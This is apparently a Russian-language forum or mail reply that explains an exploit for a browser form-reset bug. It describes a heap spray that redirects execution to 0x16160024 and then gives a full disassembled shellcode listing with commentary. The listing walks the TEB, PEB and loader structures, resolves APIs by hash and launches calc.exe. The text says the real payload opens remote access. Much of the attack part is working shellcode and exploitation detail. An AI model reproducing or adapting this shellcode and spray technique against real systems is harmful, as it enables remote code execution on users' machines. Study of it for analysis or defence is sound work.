Здравствуйте, Степанов Дмитрий Владимирович!
Уязвимость основана на том, что при попытке сбросить форму командой f.reset(), в одном из регистров будет находится адрес строки
"\u0024\u1616AABBBBCCCCDDDDEEEEFFFF" и в последствии управление попадет по адресу 0x16160024(см. первые четыре байта) в средину уже созданого спрея spraySlide. Первые 516 байт спрея заполнны буферной информацией, которая при выполнении ничего существенного не делает, единственное его назначение поймать управление в диапозоне адресов и передать его коду(payLoadCode) открывающему удаленный доступ.
[code h=200]seg000:00000000 ; Input MD5 : EFAD2A5D82D5832ECBE3A0690A8907DB
seg000:00000000 ; File Name : D:\_CAT_XP3\Asm_lib\Q186391.DMP
seg000:00000000 ; Format : Binary file
seg000:00000000 ; Base Address: 0000h Range: 0000h - 00D8h Loaded length: 00D8h
seg000:00000000 .686p
seg000:00000000 .mmx
seg000:00000000 .model flat
seg000:00000000 ; Segment type: Pure code
seg000:00000000 seg000 segment byte public 'CODE' use32
seg000:00000000 assume cs:seg000
seg000:00000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:00000000 cld
seg000:00000001 call near ptr loc_8C+3
seg000:00000006 pusha
seg000:00000007 mov ebp, esp
seg000:00000009 xor edx, edx
seg000:0000000B mov edx, fs:[edx+30h]
seg000:0000000F mov edx, [edx+0Ch]
seg000:00000012 mov edx, [edx+14h]
seg000:00000015 mov esi, [edx+28h]
seg000:00000018 movzx ecx, word ptr [edx+26h]
seg000:0000001C xor edi, edi
seg000:0000001E xor eax, eax
seg000:00000020 push edx
seg000:00000021 or al, 8Bh
seg000:00000023 push edx
seg000:00000024 loc_24:
seg000:00000024 adc al, 8Bh ; '?'
seg000:00000026 jb short near ptr loc_4F+1
seg000:00000028 movzx ecx, word ptr [edx+26h]
seg000:0000002C xor edi, edi
seg000:0000002E loc_2E:
seg000:0000002E xor eax, eax
seg000:00000030 lodsb
seg000:00000031 cmp al, 61h ; 'a'
seg000:00000033 jl short loc_37
seg000:00000035 sub al, 20h ; ' '
seg000:00000037 loc_37:
seg000:00000037 ror edi, 0Dh
seg000:0000003A add edi, eax
seg000:0000003C loop loc_2E
seg000:0000003E push edx
seg000:0000003F push edi
seg000:00000040 mov edx, [edx+10h]
seg000:00000043 mov eax, [edx+3Ch]
seg000:00000046 add eax, edx
seg000:00000048 mov eax, [eax+78h]
seg000:0000004B test eax, eax
seg000:0000004D jz short loc_99
seg000:0000004F loc_4F:
seg000:0000004F add eax, edx
seg000:00000051 push eax
seg000:00000052 mov ecx, [eax+18h]
seg000:00000055 mov ebx, [eax+20h]
seg000:00000058 add ebx, edx
seg000:0000005A loc_5A:
seg000:0000005A jecxz short loc_98
seg000:0000005C dec ecx
seg000:0000005D mov esi, [ebx+ecx*4]
seg000:00000060 add esi, edx
seg000:00000062 xor edi, edi
seg000:00000064 loc_64:
seg000:00000064 xor eax, eax
seg000:00000066 lodsb
seg000:00000067 ror edi, 0Dh
seg000:0000006A add edi, eax
seg000:0000006C cmp al, ah
seg000:0000006E jnz short loc_64
seg000:00000070 add edi, [ebp-8]
seg000:00000073 cmp edi, [ebp+24h]
seg000:00000076 jnz short loc_5A
seg000:00000078 pop eax
seg000:00000079 mov ebx, [eax+24h]
seg000:0000007C add ebx, edx
seg000:0000007E mov cx, [ebx+ecx*2]
seg000:00000082 mov ebx, [eax+1Ch]
seg000:00000085 add ebx, edx
seg000:00000087 mov eax, [ebx+ecx*4]
seg000:0000008A add eax, edx
seg000:0000008C loc_8C:
seg000:0000008C mov [esp+24h], eax
seg000:00000090 pop ebx
seg000:00000091 pop ebx
seg000:00000092 popa
seg000:00000093 pop ecx
seg000:00000094 pop edx
seg000:00000095 push ecx
seg000:00000096 jmp eax
seg000:00000098 loc_98:
seg000:00000098 pop eax
seg000:00000099 loc_99:
seg000:00000099 pop edi
seg000:0000009A pop edx
seg000:0000009B mov edx, [edx]
seg000:0000009D jmp short near ptr loc_24+1
seg000:0000009F pop ebp
seg000:000000A0 push 1
seg000:000000A2 lea eax, [ebp+0B9h]
seg000:000000A8 push eax
seg000:000000A9 push 876F8B31h
seg000:000000AE call ebp
seg000:000000B0 mov ebx, 56A2B5F0h
seg000:000000B5 push 9DBD95A6h
seg000:000000BA call ebp
seg000:000000BC cmp al, 6
seg000:000000BE jl short loc_CA
seg000:000000C0 cmp bl, 0E0h
seg000:000000C3 jnz short loc_CA
seg000:000000C5 mov ebx, 6F721347h
seg000:000000CA loc_CA:
seg000:000000CA push 0
seg000:000000CC push ebx
seg000:000000CD call ebp
seg000:000000CF aCalc_exe db 'calc.exe',0
seg000:000000CF seg000 ends
seg000:000000CF end[/code]
Прокомментирую только самые важные строки:
строка 13 - вызов подпрограммы, для получения текущего адреса, так называемый дельта-вызов. Это нужно для вычисления точного адреса с именем запускаемого приложения(строка 114).
строка 14 - запоминаются в стеке полученные значения.
строка 15 - стек делается адресуемым.
строка 16 - сбрасываем регистр для дальнейшей работы.
строки 17:19 - читаем информацию из системной области памяти:
По нулевому смещенню в сегменте находится структура
ТЕВ(Thread Environment Block; блок окружения потока),
17 :
mov edx, fs:[edx+30h]; в EDX загружается указатель на
РЕВ(Process Enviroment Block, блок окружения процесса)
18 :
mov edx, [edx+0Ch]; в EDX загружается указатель на
PEB_LDR_DATA(информация о загруженных модулях)
19 :
mov edx, [edx+14h]; в EDX загружается указатель на
LDR_MODULE(информация о загруженном модуле)
Практически всё: уже есть доступ ко всей информации, в том числе к библиотеке KERNEL.DLL и функции CreateProcess, которая и запускает калькулятор.
Удачи!